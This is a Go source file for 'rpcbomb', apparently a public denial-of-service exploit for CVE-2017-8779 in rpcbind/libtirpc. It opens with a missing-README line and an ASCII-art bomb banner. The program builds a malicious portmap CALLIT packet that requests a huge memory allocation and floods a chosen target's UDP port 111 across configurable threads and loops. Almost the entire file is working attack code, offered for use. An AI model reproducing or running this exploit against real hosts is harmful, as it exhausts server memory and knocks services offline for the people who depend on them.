README.md
README.md not found for CVE-2017-8779. The file may not exist in the repository.
package main
import (
"bytes"
"encoding/binary"
"flag"
"fmt"
"net"
"os"
"strconv"
"time"
)
// Simple Error Checking function
func CheckError(err error) {
if err != nil {
fmt.Println("Error: ", err)
os.Exit(0)
}
}
// UPD Connection Handler
func handleUDPConnection(conn *net.UDPConn, payload *bytes.Buffer, threadid int) (int, []byte, *net.UDPAddr, error) {
_, err := conn.Write(payload.Bytes()) // Send UDP packet to Server
CheckError(err) // Check for errors from sending the packet
recievebuf := make([]byte, 1024) // Receive Buffer
n, addr, err := conn.ReadFromUDP(recievebuf) // wait for response (Or Timeout)
conn.Close() // Close connection
if err != nil {
fmt.Println("\nNo response from server received. Thread ID:", threadid)
}
return n, recievebuf, addr, err
}
// Thread Handler
func WorkerThread(id int, numLoops int64, buf *bytes.Buffer, localhost *net.UDPAddr, remotehost *net.UDPAddr, tout int, result chan int) {
timeoutCount := 0 // Track No response from target
fmt.Printf("Payload Thread %[2]x: %[1]x\n", buf.Bytes(), id)
for i := 1; int64(i) <= numLoops; i++ {
conn, err := net.DialUDP("udp", localhost, remotehost) // setup the connection
CheckError(err) // Check the error
timeOut := time.Now().Local().Add(time.Second * time.Duration(tout)) // Set Read timeout (10 Secs) variable
conn.SetReadDeadline(timeOut) // Set the actual Timeout
n, bufR, addr, err := handleUDPConnection(conn, buf, id)
if err != nil {
timeoutCount++
}
if int64(i) == numLoops {
fmt.Println("\n\nThread:", id, "Report. Status: Success")
fmt.Printf("Received Messgae: %x", bufR[0:n])
fmt.Println(" from ", addr)
fmt.Println("Total Timeouts:", timeoutCount, "\n")
}
result <- 1
}
close(result)
}
func main() {
startTime := time.Now() // Store start time
bomb := `
+ # ,
: @ @ @ @ @ @
@ @ ; . + @ @ @ . @ @
@ @ @ @ @ @ @
. @ #
; @ @ @ . : @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ ;
@ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ :
# @ @ @ @ @ @ @ @ @ @ @ @ @ '
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
. @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ .
+ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ +
+ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ +
: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ :
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ ,
@ @ @ @ @ @ @ @ @ @ @ @ @
, @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @
, @ @ @ @ @
r p c b o m b
DoS exploit for *nix rpcbind/libtirpc.
Based on the work from Guido Vranken.
https://guidovranken.wordpress.com/
(c) 2017 Joshua Magady.
`
fmt.Println(bomb)
ptrHost := flag.String("host", "REQUIRED", "This is the target host of the attack (IP Address)") // Create Host Flag
ptrNumBytes := flag.Int("numbytes", 5999999999, "This the number of bytes to try an allocate") // create numBytes Flag
ptrPort := flag.Int("port", 111, "This is the port RPC Bind is running on") // create Port Flag
ptrLoop := flag.Int64("loop", 1, "The number of times to loop (max=9223372036854775807)") // Create Loop Flag
ptrThreads := flag.Int("threads", 1, "The number of threads (Workers) to launch the attack") // Create threads Flag
flag.Parse() // Parse all Flags
fmt.Println("Target Host:", *ptrHost) // Print Host flag
fmt.Println("Number of Bytes to allocate (per loop):", *ptrNumBytes) // Print the number of bytes
fmt.Println("Target Port:", *ptrPort) // Print the Port Number
buf := new(bytes.Buffer) // Binary Writer Buffer
byteOrder := binary.BigEndian // Set the Byte Order
// RPC Byte Code
binary.Write(buf, byteOrder, uint32(0)) // xid
binary.Write(buf, byteOrder, uint32(0)) // Message Type: CALL (0)
binary.Write(buf, byteOrder, uint32(2)) // RPC Version: 2
binary.Write(buf, byteOrder, uint32(100000)) // Program: Portmap (100000)
binary.Write(buf, byteOrder, uint32(4)) // Program Version: 4 (old Value: 2)
binary.Write(buf, byteOrder, uint32(9)) // Procedure: CALLIT (9) (old Value 5)
binary.Write(buf, byteOrder, uint32(0)) // Credentials Flavor: AUTH_NULL (0)
binary.Write(buf, byteOrder, uint32(0)) // Length: 0
binary.Write(buf, byteOrder, uint32(0)) // Credentials Verifier: AUTH_NULL (0)
binary.Write(buf, byteOrder, uint32(0)) // Length: 0
binary.Write(buf, byteOrder, uint32(0)) // Program: Unknown (0)
binary.Write(buf, byteOrder, uint32(0)) // Version: 0 (old Value 1)
binary.Write(buf, byteOrder, uint32(4)) // Procedure: 4 (old Value 1)
binary.Write(buf, byteOrder, uint32(4)) // Argument Length
binary.Write(buf, byteOrder, uint32(*ptrNumBytes)) // Argument (Payload)
fmt.Printf("Payload: %x\n", buf.Bytes()) // Show Payload that will be sent
serverAddr, err := net.ResolveUDPAddr("udp", *ptrHost+":"+strconv.Itoa(*ptrPort)) // Resolves the Attack Target
CheckError(err) // Check the error
localAddr, err := net.ResolveUDPAddr("udp", ":0") // Resolves localhost
CheckError(err) // Check the error
loopCount := *ptrLoop / int64(*ptrThreads)
fmt.Println("Loop Count per Thread:", loopCount)
status := make(chan int)
for i := 0; i < *ptrThreads; i++ {
go WorkerThread(i, int64(loopCount), buf, localAddr, serverAddr, 10, status)
}
currentloop := 0
for loopfin := range status {
currentloop += loopfin
now := time.Now() // Capture the time at this point
elapse := now.Sub(startTime) // calculate the time difference between now and when the program started
fmt.Printf("\r Loop %[1]d/%[2]d - Elapsed Time: %[3]v", currentloop, *ptrLoop, elapse)
}
fmt.Println("\n\nDamn it feels good to be a gangster.")
}